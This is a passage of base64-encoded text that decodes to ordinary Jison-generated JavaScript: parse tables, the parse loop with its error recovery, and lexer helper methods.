DRdLDIwOlsxLDVdfSx7NDoyMCwxNzpbMSwzXSwxOTpbMSw0XSwyMDpbMSw1XX0sezQ6MjEsMTc6WzEsM10sMTk6WzEsNF0sMjA6WzEsNV19LHs0OjIyLDE3OlsxLDNdLDE5OlsxLDRdLDIwOlsxLDVdfSx7NDoyMywxNzpbMSwzXSwxOTpbMSw0XSwyMDpbMSw1XX0sezQ6MjQsMTc6WzEsM10sMTk6WzEsNF0sMjA6WzEsNV19LHs0OjI1LDE3OlsxLDNdLDE5OlsxLDRdLDIwOlsxLDVdfSx7NDoyNiwxNzpbMSwzXSwxOTpbMSw0XSwyMDpbMSw1XX0sezQ6MjcsMTc6WzEsM10sMTk6WzEsNF0sMjA6WzEsNV19LHs2OlsxLDddLDg6WzEsOF0sOTpbMSw5XSwxMDpbMSwxMF0sMTE6WzEsMTFdLDEyOlsxLDEyXSwxMzpbMSwxM10sMTQ6WzEsMTRdLDE1OlsxLDE1XSwxNjpbMSwxNl0sMTg6WzEsMjhdfSx7NjpbMSw3XSw3OlsxLDI5XSw4OlsxLDhdLDk6WzEsOV0sMTA6WzEsMTBdLDExOlsxLDExXSwxMjpbMSwxMl0sMTM6WzEsMTNdLDE0OlsxLDE0XSwxNTpbMSwxNV0sMTY6WzEsMTZdfSx7NTpbMiwzXSw2OlsyLDNdLDc6WzIsM10sODpbMiwzXSw5OlsxLDldLDEwOlsxLDEwXSwxMTpbMSwxMV0sMTI6WzEsMTJdLDEzOlsxLDEzXSwxNDpbMSwxNF0sMTU6WzEsMTVdLDE2OlsxLDE2XSwxODpbMiwzXX0sezU6WzIsNF0sNjpbMiw0XSw3OlsyLDRdLDg6WzIsNF0sOTpbMiw0XSwxMDpbMSwxMF0sMTE6WzEsMTFdLDEyOlsxLDEyXSwxMzpbMSwxM10sMTQ6WzEsMTRdLDE1OlsxLDE1XSwxNjpbMSwxNl0sMTg6WzIsNF19LHs1OlsyLDVdLDY6WzIsNV0sNzpbMiw1XSw4OlsyLDVdLDk6WzIsNV0sMTA6WzIsNV0sMTE6WzIsNV0sMTI6WzIsNV0sMTM6WzIsNV0sMTQ6WzIsNV0sMTU6WzIsNV0sMTY6WzEsMTZdLDE4OlsyLDVdfSx7NTpbMiw2XSw2OlsyLDZdLDc6WzIsNl0sODpbMiw2XSw5OlsyLDZdLDEwOlsyLDZdLDExOlsyLDZdLDEyOlsyLDZdLDEzOlsyLDZdLDE0OlsyLDZdLDE1OlsyLDZdLDE2OlsxLDE2XSwxODpbMiw2XX0sezU6WzIsN10sNjpbMiw3XSw3OlsyLDddLDg6WzIsN10sOTpbMiw3XSwxMDpbMiw3XSwxMTpbMiw3XSwxMjpbMiw3XSwxMzpbMiw3XSwxNDpbMiw3XSwxNTpbMiw3XSwxNjpbMSwxNl0sMTg6WzIsN119LHs1OlsyLDhdLDY6WzIsOF0sNzpbMiw4XSw4OlsyLDhdLDk6WzIsOF0sMTA6WzIsOF0sMTE6WzIsOF0sMTI6WzIsOF0sMTM6WzIsOF0sMTQ6WzIsOF0sMTU6WzIsOF0sMTY6WzEsMTZdLDE4OlsyLDhdfSx7NTpbMiw5XSw2OlsyLDldLDc6WzIsOV0sODpbMiw5XSw5OlsyLDldLDEwOlsyLDldLDExOlsyLDldLDEyOlsyLDldLDEzOlsyLDldLDE0OlsyLDldLDE1OlsyLDldLDE2OlsxLDE2XSwxODpbMiw5XX0sezU6WzIsMTBdLDY6WzIsMTBdLDc6WzIsMTBdLDg6WzIsMTBdLDk6WzIsMTBdLDEwOlsyLDEwXSwxMTpbMiwxMF0sMTI6WzIsMTBdLDEzOlsyLDEwXSwxNDpbMiwxMF0sMTU6WzIsMTBdLDE2OlsxLDE2XSwxODpbMiwxMF19LHs1OlsyLDExXSw2OlsyLDExXSw3OlsyLDExXSw4OlsyLDExXSw5OlsyLDExXSwxMDpbMiwxMV0sMTE6WzIsMTFdLDEyOlsyLDExXSwxMzpbMiwxMV0sMTQ6WzIsMTFdLDE1OlsyLDExXSwxNjpbMiwxMV0sMTg6WzIsMTFdfSx7NTpbMiwxMl0sNjpbMiwxMl0sNzpbMiwxMl0sODpbMiwxMl0sOTpbMiwxMl0sMTA6WzIsMTJdLDExOlsyLDEyXSwxMjpbMiwxMl0sMTM6WzIsMTJdLDE0OlsyLDEyXSwxNTpbMiwxMl0sMTY6WzIsMTJdLDE4OlsyLDEyXX0sezQ6MzAsMTc6WzEsM10sMTk6WzEsNF0sMjA6WzEsNV19LHs1OlsyLDJdLDY6WzEsN10sNzpbMiwyXSw4OlsxLDhdLDk6WzEsOV0sMTA6WzEsMTBdLDExOlsxLDExXSwxMjpbMSwxMl0sMTM6WzEsMTNdLDE0OlsxLDE0XSwxNTpbMSwxNV0sMTY6WzEsMTZdLDE4OlsyLDJdfV0sXG5kZWZhdWx0QWN0aW9uczogezY6WzIsMV19LFxucGFyc2VFcnJvcjogZnVuY3Rpb24gcGFyc2VFcnJvcihzdHIsIGhhc2gpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3Ioc3RyKTtcbn0sXG5wYXJzZTogZnVuY3Rpb24gcGFyc2UoaW5wdXQpIHtcbiAgICB2YXIgc2VsZiA9IHRoaXMsXG4gICAgICAgIHN0YWNrID0gWzBdLFxuICAgICAgICB2c3RhY2sgPSBbbnVsbF0sIC8vIHNlbWFudGljIHZhbHVlIHN0YWNrXG4gICAgICAgIGxzdGFjayA9IFtdLCAvLyBsb2NhdGlvbiBzdGFja1xuICAgICAgICB0YWJsZSA9IHRoaXMudGFibGUsXG4gICAgICAgIHl5dGV4dCA9ICcnLFxuICAgICAgICB5eWxpbmVubyA9IDAsXG4gICAgICAgIHl5bGVuZyA9IDAsXG4gICAgICAgIHJlY292ZXJpbmcgPSAwLFxuICAgICAgICBURVJST1IgPSAyLFxuICAgICAgICBFT0YgPSAxO1xuXG4gICAgLy90aGlzLnJlZHVjdGlvbkNvdW50ID0gdGhpcy5zaGlmdENvdW50ID0gMDtcblxuICAgIHRoaXMubGV4ZXIuc2V0SW5wdXQoaW5wdXQpO1xuICAgIHRoaXMubGV4ZXIueXkgPSB0aGlzLnl5O1xuICAgIHRoaXMueXkubGV4ZXIgPSB0aGlzLmxleGVyO1xuICAgIGlmICh0eXBlb2YgdGhpcy5sZXhlci55eWxsb2MgPT0gJ3VuZGVmaW5lZCcpXG4gICAgICAgIHRoaXMubGV4ZXIueXlsbG9jID0ge307XG4gICAgdmFyIHl5bG9jID0gdGhpcy5sZXhlci55eWxsb2M7XG4gICAgbHN0YWNrLnB1c2goeXlsb2MpO1xuXG4gICAgaWYgKHR5cGVvZiB0aGlzLnl5LnBhcnNlRXJyb3IgPT09ICdmdW5jdGlvbicpXG4gICAgICAgIHRoaXMucGFyc2VFcnJvciA9IHRoaXMueXkucGFyc2VFcnJvcjtcblxuICAgIGZ1bmN0aW9uIHBvcFN0YWNrIChuKSB7XG4gICAgICAgIHN0YWNrLmxlbmd0aCA9IHN0YWNrLmxlbmd0aCAtIDIqbjtcbiAgICAgICAgdnN0YWNrLmxlbmd0aCA9IHZzdGFjay5sZW5ndGggLSBuO1xuICAgICAgICBsc3RhY2subGVuZ3RoID0gbHN0YWNrLmxlbmd0aCAtIG47XG4gICAgfVxuXG4gICAgZnVuY3Rpb24gbGV4KCkge1xuICAgICAgICB2YXIgdG9rZW47XG4gICAgICAgIHRva2VuID0gc2VsZi5sZXhlci5sZXgoKSB8fCAxOyAvLyAkZW5kID0gMVxuICAgICAgICAvLyBpZiB0b2tlbiBpc24ndCBpdHMgbnVtZXJpYyB2YWx1ZSwgY29udmVydFxuICAgICAgICBpZiAodHlwZW9mIHRva2VuICE9PSAnbnVtYmVyJykge1xuICAgICAgICAgICAgdG9rZW4gPSBzZWxmLnN5bWJvbHNfW3Rva2VuXSB8fCB0b2tlbjtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gdG9rZW47XG4gICAgfVxuXG4gICAgdmFyIHN5bWJvbCwgcHJlRXJyb3JTeW1ib2wsIHN0YXRlLCBhY3Rpb24sIGEsIHIsIHl5dmFsPXt9LHAsbGVuLG5ld1N0YXRlLCBleHBlY3RlZDtcbiAgICB3aGlsZSAodHJ1ZSkge1xuICAgICAgICAvLyByZXRyZWl2ZSBzdGF0ZSBudW1iZXIgZnJvbSB0b3Agb2Ygc3RhY2tcbiAgICAgICAgc3RhdGUgPSBzdGFja1tzdGFjay5sZW5ndGgtMV07XG5cbiAgICAgICAgLy8gdXNlIGRlZmF1bHQgYWN0aW9ucyBpZiBhdmFpbGFibGVcbiAgICAgICAgaWYgKHRoaXMuZGVmYXVsdEFjdGlvbnNbc3RhdGVdKSB7XG4gICAgICAgICAgICBhY3Rpb24gPSB0aGlzLmRlZmF1bHRBY3Rpb25zW3N0YXRlXTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChzeW1ib2wgPT0gbnVsbClcbiAgICAgICAgICAgICAgICBzeW1ib2wgPSBsZXgoKTtcbiAgICAgICAgICAgIC8vIHJlYWQgYWN0aW9uIGZvciBjdXJyZW50IHN0YXRlIGFuZCBmaXJzdCBpbnB1dFxuICAgICAgICAgICAgYWN0aW9uID0gdGFibGVbc3RhdGVdICYmIHRhYmxlW3N0YXRlXVtzeW1ib2xdO1xuICAgICAgICB9XG5cbiAgICAgICAgLy8gaGFuZGxlIHBhcnNlIGVycm9yXG4gICAgICAgIF9oYW5kbGVfZXJyb3I6XG4gICAgICAgIGlmICh0eXBlb2YgYWN0aW9uID09PSAndW5kZWZpbmVkJyB8fCAhYWN0aW9uLmxlbmd0aCB8fCAhYWN0aW9uWzBdKSB7XG5cbiAgICAgICAgICAgIGlmICghcmVjb3ZlcmluZykge1xuICAgICAgICAgICAgICAgIC8vIFJlcG9ydCBlcnJvclxuICAgICAgICAgICAgICAgIGV4cGVjdGVkID0gW107XG4gICAgICAgICAgICAgICAgZm9yIChwIGluIHRhYmxlW3N0YXRlXSkgaWYgKHRoaXMudGVybWluYWxzX1twXSAmJiBwID4gMikge1xuICAgICAgICAgICAgICAgICAgICBleHBlY3RlZC5wdXNoKFwiJ1wiK3RoaXMudGVybWluYWxzX1twXStcIidcIik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHZhciBlcnJTdHIgPSAnJztcbiAgICAgICAgICAgICAgICBpZiAodGhpcy5sZXhlci5zaG93UG9zaXRpb24pIHtcbiAgICAgICAgICAgICAgICAgICAgZXJyU3RyID0gJ1BhcnNlIGVycm9yIG9uIGxpbmUgJysoeXlsaW5lbm8rMSkrXCI6XFxuXCIrdGhpcy5sZXhlci5zaG93UG9zaXRpb24oKStcIlxcbkV4cGVjdGluZyBcIitleHBlY3RlZC5qb2luKCcsICcpICsgXCIsIGdvdCAnXCIgKyB0aGlzLnRlcm1pbmFsc19bc3ltYm9sXSsgXCInXCI7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgZXJyU3RyID0gJ1BhcnNlIGVycm9yIG9uIGxpbmUgJysoeXlsaW5lbm8rMSkrXCI6IFVuZXhwZWN0ZWQgXCIgK1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChzeW1ib2wgPT0gMSAvKkVPRiovID8gXCJlbmQgb2YgaW5wdXRcIiA6XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKFwiJ1wiKyh0aGlzLnRlcm1pbmFsc19bc3ltYm9sXSB8fCBzeW1ib2wpK1wiJ1wiKSk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHRoaXMucGFyc2VFcnJvcihlcnJTdHIsXG4gICAgICAgICAgICAgICAgICAgIHt0ZXh0OiB0aGlzLmxleGVyLm1hdGNoLCB0b2tlbjogdGhpcy50ZXJtaW5hbHNfW3N5bWJvbF0gfHwgc3ltYm9sLCBsaW5lOiB0aGlzLmxleGVyLnl5bGluZW5vLCBsb2M6IHl5bG9jLCBleHBlY3RlZDogZXhwZWN0ZWR9KTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLy8ganVzdCByZWNvdmVyZWQgZnJvbSBhbm90aGVyIGVycm9yXG4gICAgICAgICAgICBpZiAocmVjb3ZlcmluZyA9PSAzKSB7XG4gICAgICAgICAgICAgICAgaWYgKHN5bWJvbCA9PSBFT0YpIHtcbiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKGVyclN0ciB8fCAnUGFyc2luZyBoYWx0ZWQuJyk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLy8gZGlzY2FyZCBjdXJyZW50IGxvb2thaGVhZCBhbmQgZ3JhYiBhbm90aGVyXG4gICAgICAgICAgICAgICAgeXlsZW5nID0gdGhpcy5sZXhlci55eWxlbmc7XG4gICAgICAgICAgICAgICAgeXl0ZXh0ID0gdGhpcy5sZXhlci55eXRleHQ7XG4gICAgICAgICAgICAgICAgeXlsaW5lbm8gPSB0aGlzLmxleGVyLnl5bGluZW5vO1xuICAgICAgICAgICAgICAgIHl5bG9jID0gdGhpcy5sZXhlci55eWxsb2M7XG4gICAgICAgICAgICAgICAgc3ltYm9sID0gbGV4KCk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC8vIHRyeSB0byByZWNvdmVyIGZyb20gZXJyb3JcbiAgICAgICAgICAgIHdoaWxlICgxKSB7XG4gICAgICAgICAgICAgICAgLy8gY2hlY2sgZm9yIGVycm9yIHJlY292ZXJ5IHJ1bGUgaW4gdGhpcyBzdGF0ZVxuICAgICAgICAgICAgICAgIGlmICgoVEVSUk9SLnRvU3RyaW5nKCkpIGluIHRhYmxlW3N0YXRlXSkge1xuICAgICAgICAgICAgICAgICAgICBicmVhaztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKHN0YXRlID09IDApIHtcbiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKGVyclN0ciB8fCAnUGFyc2luZyBoYWx0ZWQuJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHBvcFN0YWNrKDEpO1xuICAgICAgICAgICAgICAgIHN0YXRlID0gc3RhY2tbc3RhY2subGVuZ3RoLTFdO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmVFcnJvclN5bWJvbCA9IHN5bWJvbDsgLy8gc2F2ZSB0aGUgbG9va2FoZWFkIHRva2VuXG4gICAgICAgICAgICBzeW1ib2wgPSBURVJST1I7ICAgICAgICAgLy8gaW5zZXJ0IGdlbmVyaWMgZXJyb3Igc3ltYm9sIGFzIG5ldyBsb29rYWhlYWRcbiAgICAgICAgICAgIHN0YXRlID0gc3RhY2tbc3RhY2subGVuZ3RoLTFdO1xuICAgICAgICAgICAgYWN0aW9uID0gdGFibGVbc3RhdGVdICYmIHRhYmxlW3N0YXRlXVtURVJST1JdO1xuICAgICAgICAgICAgcmVjb3ZlcmluZyA9IDM7IC8vIGFsbG93IDMgcmVhbCBzeW1ib2xzIHRvIGJlIHNoaWZ0ZWQgYmVmb3JlIHJlcG9ydGluZyBhIG5ldyBlcnJvclxuICAgICAgICB9XG5cbiAgICAgICAgLy8gdGhpcyBzaG91bGRuJ3QgaGFwcGVuLCB1bmxlc3MgcmVzb2x2ZSBkZWZhdWx0cyBhcmUgb2ZmXG4gICAgICAgIGlmIChhY3Rpb25bMF0gaW5zdGFuY2VvZiBBcnJheSAmJiBhY3Rpb24ubGVuZ3RoID4gMSkge1xuICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdQYXJzZSBFcnJvcjogbXVsdGlwbGUgYWN0aW9ucyBwb3NzaWJsZSBhdCBzdGF0ZTogJytzdGF0ZSsnLCB0b2tlbjogJytzeW1ib2wpO1xuICAgICAgICB9XG5cbiAgICAgICAgc3dpdGNoIChhY3Rpb25bMF0pIHtcblxuICAgICAgICAgICAgY2FzZSAxOiAvLyBzaGlmdFxuICAgICAgICAgICAgICAgIC8vdGhpcy5zaGlmdENvdW50Kys7XG5cbiAgICAgICAgICAgICAgICBzdGFjay5wdXNoKHN5bWJvbCk7XG4gICAgICAgICAgICAgICAgdnN0YWNrLnB1c2godGhpcy5sZXhlci55eXRleHQpO1xuICAgICAgICAgICAgICAgIGxzdGFjay5wdXNoKHRoaXMubGV4ZXIueXlsbG9jKTtcbiAgICAgICAgICAgICAgICBzdGFjay5wdXNoKGFjdGlvblsxXSk7IC8vIHB1c2ggc3RhdGVcbiAgICAgICAgICAgICAgICBzeW1ib2wgPSBudWxsO1xuICAgICAgICAgICAgICAgIGlmICghcHJlRXJyb3JTeW1ib2wpIHsgLy8gbm9ybWFsIGV4ZWN1dGlvbi9ubyBlcnJvclxuICAgICAgICAgICAgICAgICAgICB5eWxlbmcgPSB0aGlzLmxleGVyLnl5bGVuZztcbiAgICAgICAgICAgICAgICAgICAgeXl0ZXh0ID0gdGhpcy5sZXhlci55eXRleHQ7XG4gICAgICAgICAgICAgICAgICAgIHl5bGluZW5vID0gdGhpcy5sZXhlci55eWxpbmVubztcbiAgICAgICAgICAgICAgICAgICAgeXlsb2MgPSB0aGlzLmxleGVyLnl5bGxvYztcbiAgICAgICAgICAgICAgICAgICAgaWYgKHJlY292ZXJpbmcgPiAwKVxuICAgICAgICAgICAgICAgICAgICAgICAgcmVjb3ZlcmluZy0tO1xuICAgICAgICAgICAgICAgIH0gZWxzZSB7IC8vIGVycm9yIGp1c3Qgb2NjdXJyZWQsIHJlc3VtZSBvbGQgbG9va2FoZWFkIGYvIGJlZm9yZSBlcnJvclxuICAgICAgICAgICAgICAgICAgICBzeW1ib2wgPSBwcmVFcnJvclN5bWJvbDtcbiAgICAgICAgICAgICAgICAgICAgcHJlRXJyb3JTeW1ib2wgPSBudWxsO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBicmVhaztcblxuICAgICAgICAgICAgY2FzZSAyOiAvLyByZWR1Y2VcbiAgICAgICAgICAgICAgICAvL3RoaXMucmVkdWN0aW9uQ291bnQrKztcblxuICAgICAgICAgICAgICAgIGxlbiA9IHRoaXMucHJvZHVjdGlvbnNfW2FjdGlvblsxXV1bMV07XG5cbiAgICAgICAgICAgICAgICAvLyBwZXJmb3JtIHNlbWFudGljIGFjdGlvblxuICAgICAgICAgICAgICAgIHl5dmFsLiQgPSB2c3RhY2tbdnN0YWNrLmxlbmd0aC1sZW5dOyAvLyBkZWZhdWx0IHRvICQkID0gJDFcbiAgICAgICAgICAgICAgICAvLyBkZWZhdWx0IGxvY2F0aW9uLCB1c2VzIGZpcnN0IHRva2VuIGZvciBmaXJzdHMsIGxhc3QgZm9yIGxhc3RzXG4gICAgICAgICAgICAgICAgeXl2YWwuXyQgPSB7XG4gICAgICAgICAgICAgICAgICAgIGZpcnN0X2xpbmU6IGxzdGFja1tsc3RhY2subGVuZ3RoLShsZW58fDEpXS5maXJzdF9saW5lLFxuICAgICAgICAgICAgICAgICAgICBsYXN0X2xpbmU6IGxzdGFja1tsc3RhY2subGVuZ3RoLTFdLmxhc3RfbGluZSxcbiAgICAgICAgICAgICAgICAgICAgZmlyc3RfY29sdW1uOiBsc3RhY2tbbHN0YWNrLmxlbmd0aC0obGVufHwxKV0uZmlyc3RfY29sdW1uLFxuICAgICAgICAgICAgICAgICAgICBsYXN0X2NvbHVtbjogbHN0YWNrW2xzdGFjay5sZW5ndGgtMV0ubGFzdF9jb2x1bW5cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIHIgPSB0aGlzLnBlcmZvcm1BY3Rpb24uY2FsbCh5eXZhbCwgeXl0ZXh0LCB5eWxlbmcsIHl5bGluZW5vLCB0aGlzLnl5LCBhY3Rpb25bMV0sIHZzdGFjaywgbHN0YWNrKTtcblxuICAgICAgICAgICAgICAgIGlmICh0eXBlb2YgciAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHI7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLy8gcG9wIG9mZiBzdGFja1xuICAgICAgICAgICAgICAgIGlmIChsZW4pIHtcbiAgICAgICAgICAgICAgICAgICAgc3RhY2sgPSBzdGFjay5zbGljZSgwLC0xKmxlbioyKTtcbiAgICAgICAgICAgICAgICAgICAgdnN0YWNrID0gdnN0YWNrLnNsaWNlKDAsIC0xKmxlbik7XG4gICAgICAgICAgICAgICAgICAgIGxzdGFjayA9IGxzdGFjay5zbGljZSgwLCAtMSpsZW4pO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHN0YWNrLnB1c2godGhpcy5wcm9kdWN0aW9uc19bYWN0aW9uWzFdXVswXSk7ICAgIC8vIHB1c2ggbm9udGVybWluYWwgKHJlZHVjZSlcbiAgICAgICAgICAgICAgICB2c3RhY2sucHVzaCh5eXZhbC4kKTtcbiAgICAgICAgICAgICAgICBsc3RhY2sucHVzaCh5eXZhbC5fJCk7XG4gICAgICAgICAgICAgICAgLy8gZ290byBuZXcgc3RhdGUgPSB0YWJsZVtTVEFURV1bTk9OVEVSTUlOQUxdXG4gICAgICAgICAgICAgICAgbmV3U3RhdGUgPSB0YWJsZVtzdGFja1tzdGFjay5sZW5ndGgtMl1dW3N0YWNrW3N0YWNrLmxlbmd0aC0xXV07XG4gICAgICAgICAgICAgICAgc3RhY2sucHVzaChuZXdTdGF0ZSk7XG4gICAgICAgICAgICAgICAgYnJlYWs7XG5cbiAgICAgICAgICAgIGNhc2UgMzogLy8gYWNjZXB0XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cblxuICAgIH1cblxuICAgIHJldHVybiB0cnVlO1xufX07LyogSmlzb24gZ2VuZXJhdGVkIGxleGVyICovXG52YXIgbGV4ZXIgPSAoZnVuY3Rpb24oKXtcblxudmFyIGxleGVyID0gKHtFT0Y6MSxcbnBhcnNlRXJyb3I6ZnVuY3Rpb24gcGFyc2VFcnJvcihzdHIsIGhhc2gpIHtcbiAgICAgICAgaWYgKHRoaXMueXkucGFyc2VFcnJvcikge1xuICAgICAgICAgICAgdGhpcy55eS5wYXJzZUVycm9yKHN0ciwgaGFzaCk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICB0aHJvdyBuZXcgRXJyb3Ioc3RyKTtcbiAgICAgICAgfVxuICAgIH0sXG5zZXRJbnB1dDpmdW5jdGlvbiAoaW5wdXQpIHtcbiAgICAgICAgdGhpcy5faW5wdXQgPSBpbnB1dDtcbiAgICAgICAgdGhpcy5fbW9yZSA9IHRoaXMuX2xlc3MgPSB0aGlzLmRvbmUgPSBmYWxzZTtcbiAgICAgICAgdGhpcy55eWxpbmVubyA9IHRoaXMueXlsZW5nID0gMDtcbiAgICAgICAgdGhpcy55eXRleHQgPSB0aGlzLm1hdGNoZWQgPSB0aGlzLm1hdGNoID0gJyc7XG4gICAgICAgIHRoaXMuY29uZGl0aW9uU3RhY2sgPSBbJ0lOSVRJQUwnXTtcbiAgICAgICAgdGhpcy55eWxsb2MgPSB7Zmlyc3RfbGluZToxLGZpcnN0X2NvbHVtbjowLGxhc3RfbGluZToxLGxhc3RfY29sdW1uOjB9O1xuICAgICAgICByZXR1cm4gdGhpcztcbiAgICB9LFxuaW5wdXQ6ZnVuY3Rpb24gKCkge1xuICAgICAgICB2YXIgY2ggPSB0aGlzLl9pbnB1dFswXTtcbiAgICAgICAgdGhpcy55eXRleHQrPWNoO1xuICAgICAgICB0aGlzLnl5bGVuZysrO1xuICAgICAgICB0aGlzLm1hdGNoKz1jaDtcbiAgICAgICAgdGhpcy5tYXRjaGVkKz1jaDtcbiAgICAgICAgdmFyIGxpbmVzID0gY2gubWF0Y2goL1xcbi8pO1xuICAgICAgICBpZiAobGluZXMpIHRoaXMueXlsaW5lbm8rKztcbiAgICAgICAgdGhpcy5faW5wdXQgPSB0aGlzLl9pbnB1dC5zbGljZSgxKTtcbiAgICAgICAgcmV0dXJuIGNoO1xuICAgIH0sXG51bnB1dDpmdW5jdGlvbiAoY2gpIHtcbiAgICAgICAgdGhpcy5faW5wdXQgPSBjaCArIHRoaXMuX2lucHV0O1xuICAgICAgICByZXR1cm4gdGhpcztcbiAgICB9LFxubW9yZTpmdW5jdGlvbiAoKSB7XG4gICAgICAgIHRoaXMuX21vcmUgPSB0cnVlO1xuICAgICAgICByZXR1cm4gdGhpcztcbiAgICB9LFxucGFzdElucHV0OmZ1bmN0aW9uICgpIHtcbiAgICAgICAgdmFyIHBhc3QgPSB0aGlzLm1hdGNoZWQuc3Vic3RyKDAsIHRoaXMubWF0Y2hlZC5sZW5ndGggLSB0aGlzLm1hdGNoLmxlbmd0aCk7XG4gICAgICAgIHJldHVybiAocGFzdC5sZW5ndGggPiAyMCA/ICcuLi4nOicnKSArIHBhc3Quc3Vic3RyKC0yMCkucmVwbGFjZSgvXFxuL2csIFwiXCIpO1xuICAgIH0sXG51cGNvbWluZ0lucHV0OmZ1bmN0aW9uICgpIHtcbiAgICAgICAgdmFyIG5leHQgPSB0aGlzLm1hdGNoO1xuICAgICAgICBpZiAobmV4dC5sZW5ndGggPCAyMCkge1xuICAgICAgICAgICAgbmV4dCArPSB0aGlzLl9pbnB1dC5zdWJzdHIoMCwgMjAtbmV4dC5sZW5ndGgpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAobmV4dC5zdWJzdHIoMCwyMCkrKG5leHQubGVuZ3RoID4gMjAgPyAnLi4uJzonJykpLnJlcGxhY2UoL1xcbi9nLCBcIlwiKTtcbiAgICB9LFxuc2hvd1Bvc2l0aW9uOmZ1bmN0aW9uICgpIHtcbiAgICAgICAgdmFyIHByZSA9IHRoaXMucGFzdElucHV0KCk7XG4gICAgICAgIHZhciBjID0gbmV3IEFycmF5KHByZS5sZW5ndGggKyAxKS5qb2luKFwiLVwiKTtcbiAgICAgICAgcmV0dXJuIHByZSArIHRoaXMudXBjb21pbmdJbnB1dCgpICsgXCJcXG5cIiArIGMrXCJeXCI7XG4gICAgfSxcbm5leHQ6ZnVuY3Rpb24gKCkge1xuICAgICAgICBpZiAodGhpcy5kb25lKSB7XG4gICAgICAgICAgICByZXR1cm4gdGhpcy5FT0Y7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCF0aGlzLl9pbnB1dCkgdGhpcy5kb25lID0gdHJ1ZTtcblxuICAgICAgICB2YXIgdG9rZW4sXG4gICAgICAgICAgICBtYXRjaCxcbiAgICAgICAgICAgIGNvbCxcbiAgICAgICAgICAgIGxpbmVzO1xuICAgICAgICBpZiAoIXRoaXMuX21vcmUpIHtcbiAgICAgICAgICAgIHRoaXMueXl0ZXh0ID0gJyc7XG4gICAgICAgICAgICB0aGlzLm1hdGNoID0gJyc7XG4gICAgICAgIH1cbiAgICAgICAgdmFyIHJ1bGVzID0gdGhpcy5fY3VycmVudFJ1bGVzKCk7XG4gICAgICAgIGZvciAodmFyIGk9MDtpIDwgcnVsZXMubGVuZ3RoOyBpKyspIHtcbiAgICAgICAgICAgIG1hdGNoID0gdGhpcy5faW5wdXQubWF0Y2godGhpcy5ydWxlc1tydWxlc1tpXV0pO1xuICAgICAgICAgICAgaWYgKG1hdGNoKSB7XG4gICAgICAgICAgICAgICAgbGluZXMgPSBtYXRjaFswXS5tYXRjaCgvXFxuLiovZyk7XG4gICAgICAgICAgICAgICAgaWYgKGxpbmVzKSB0aGlzLnl5bGluZW5vICs9IGxpbmVzLmxlbmd0aDtcbiAgICAgICAgICAgICAgICB0aGlzLnl5bGxvYyA9IHtmaXJzdF9saW5lOiB0aGlzLnl5bGxvYy5sYXN0X2xpbmUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGFzdF9saW5lOiB0aGlzLnl5bGluZW5vKzEsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlyc3RfY29sdW1uOiB0aGlzLnl5bGxvYy5sYXN0X2NvbHVtbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYXN0X2NvbHVtbjogbGluZXMgPyBsaW5lc1tsaW5lcy5sZW5ndGgtMV0ubGVuZ3RoLTEgOiB0aGlzLnl5bGxvYy5sYXN0X2NvbHVtbiArIG1hdGNoWzBdLmxlbmd0aH1cbiAgICAgICAgICAgICAgICB0aGlzLnl5dGV4dCArPSBtYXRjaFswXTtcbiAgICAgICAgICAgICAgICB0aGlzLm1hdGNoICs9IG1hdGNoWzBdO1xuICAgICAgICAgICAgICAgIHRoaXMubWF0Y2hlcyA9IG1hdGNoO1xuICAgICAgICAgICAgICAgIHRoaXMueXlsZW5nID0gdGhpcy55eXRleHQubGVuZ3RoO1xuICAgICAgICAgICAgICAgIHRoaXMuX21vcmUgPSBmYWxzZTtcbiAgICAgICAgICAgICAgICB0aGlzLl9pbnB1dCA9IHRoaXMuX2lucHV0LnNsaWNlKG1hdGNoWzBdLmxlbmd0aCk7XG4gICAgICAgICAgICAgICAgdGhpcy5tYXRjaGVkICs9IG1hdGNoWzBdO1xuICAgICAgICAgICAgICAgIHRva2VuID0gdGhpcy5wZXJmb3JtQWN0aW9uLmNhbGwodGhpcywgdGhpcy55eSwgdGhpcywgcnVsZXNbaV0sdGhpcy5jb25kaXRpb25TdGFja1t0aGlzLmNvbmRpdGlvblN0YWNrLmxlbmd0aC0xXSk7XG4gICAgICAgICAgICAgICAgaWYgKHRva2VuKSByZXR1cm4gdG9rZW47XG4gICAgICAgICAgICAgICAgZWxzZSByZXR1cm47XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKHRoaXMuX2lucHV0ID09PSBcIlwiKSB7XG4gICAgICAgICAgICB